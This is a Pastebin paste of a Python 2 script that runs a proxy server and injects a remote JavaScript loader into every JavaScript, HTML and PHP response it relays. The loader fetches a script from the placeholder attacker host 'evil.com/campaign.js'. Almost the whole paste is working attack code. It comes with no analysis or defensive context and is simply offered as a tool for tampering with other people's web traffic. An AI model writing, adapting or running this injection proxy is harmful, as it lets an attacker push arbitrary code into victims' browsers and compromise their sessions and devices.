Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- injectJS = "(function(){'use strict';(function(d,script){script=d.createElement('script');script.type='text/javascript';script.async=true;script.onload=function(){};script.src='http:/evil.com/campaign.js';d.getElementsByTagName('head')[0].appendChild(script)}(document))})();"
- injectHTML = "<html><script type='text/JavaScript'>" + injectJS + "</script></html>"
- '''
- CONNECT www.google.com:443 HTTP/1.1
- Host: www.google.com:443
- Proxy-Connection: keep-alive
- User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Safari/537.36
- '''
- import socket
- import urllib2
- from threading import Thread
- def Server():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- print "[.] Binding to 127.0.0.1:8080..."
- s.bind(("", 8080))
- s.listen(10000)
- while True:
- (c, addr) = s.accept()
- print "[+] " + addr[0] + ":" + str(addr[1]) + " connected!"
- Thread(target=Handler, args=(c,addr,)).start()
- def Handler(c,addr):
- try:
- req = c.recv(1024)
- req = req.split("\r\n")
- url = req[0].split(" ")[1]
- except Exception, e:
- print "[-] Error processing request: " + str(e)
- return
- opener = urllib2.build_opener()
- opener.addheaders = [('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Safari/537.36')]
- try:
- response = opener.open(url).read()
- print "[+] " + addr[0] + ":" + str(addr[1]) + " requests " + url
- if url.endswith('js'): #inject into all javascript files
- print "[+] " + addr[0] + ":" + str(addr[1]) + " requested JS file! Injecting..."
- c.send(response+"\r\n"+injectJS)
- if url.endswith("html") or url.endswith("php") or url.endswith("/"):
- print "[+] " + addr[0] + ":" + str(addr[1]) + " requested HTML file! Injecting..."
- c.send(response+"\r\n"+injectHTML)
- else:
- c.send(response)
- except Exception, e:
- c.send("<b>Proxy Error: " + str(e) + "</b>")
- c.close()
- if __name__=="__main__":
- Server()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement